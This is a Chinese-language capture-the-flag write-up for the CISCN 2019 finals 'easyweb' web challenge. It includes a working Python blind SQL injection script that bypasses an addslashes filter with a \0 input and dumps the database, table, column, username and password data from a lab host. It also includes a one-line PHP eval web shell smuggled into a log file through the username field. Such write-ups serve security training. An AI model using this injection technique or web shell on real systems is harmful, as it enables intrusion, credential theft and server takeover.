ciscn2019总决赛day2web1-easyweb题解

题目首页是一个登录页面,尝试注入失败。抓包过程中发现了image和user两个PHP文件,image可以传id参数,但只有id为1、2和3时能显示图片,其他情况为空页面。

ciscn2019总决赛day2web1-easyweb题解

实在找不到可用信息以及hint,想到查看robots.txt文件,发现真的有。

User-agent: *
Disallow: *.php.bak

于是发现了image.php.bak。

<?php
include 'config.php';
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

?>

可以发现image可以传递id和path两个参数,并可能触发SQL注入,前提是可以绕过对id和path的过滤。

接下来想办法绕过过滤,主要是破坏单引号,重点借助以下四行代码。

$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

如何根据这几行代码破坏单引号呢,只能是用转义字符\或者单引号自己来破坏。但是用单引号一定会被替换掉,只能考虑\。

对于1,2两行代码,如果参数中有斜杠或者单引号会被在加上一个斜杠来转义。因此如果令id为\0,id会先变成\\0。之后\0被替换掉,会剩下一个\,这样的话原SQL语句的结构就会变为:

select * from images where id='x'{$path}'

其中x是一个字符串了,x为:

\' or path=

接下来借助path的值可以进行SQL注入。

我在这里写了个脚本,需要注意的就是URL传递\0的时候在字符串中多加个\。此外由于单引号不能绕过,所以用到字符串比较的时候可以借助十六进制串来表示。

import requests
import time
#url是随时更新的,具体的以做题时候的为准
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
    #从可打印字符开始
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        #酌情删除,毕竟一般库表列里都没有空格
        if tmp==32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
#database 得到了是ciscnfinal,接下来用其16进制表示
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://1832d921-9928-44ef-978f-41adb3748946.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))

于是得到了admin的用户名和密码。

在首页进行登录,进入一个上传页面。

抓包的时候有提示说用户名写进了log.php,既然是写入PHP,我们就想到写入一个PHP木马。

ciscn2019总决赛day2web1-easyweb题解

<?php eval($_POST[a]);?>

但是提示不可以,不过将php标签中的php三个字符换成等号也是等价的。

ciscn2019总决赛day2web1-easyweb题解

用蚁剑或菜刀等工具连接即可得到flag。

上一篇:算法入门(一)递归


下一篇:【翻译】移动目标防御(Moving Target Defense, MTD)技术简介(三)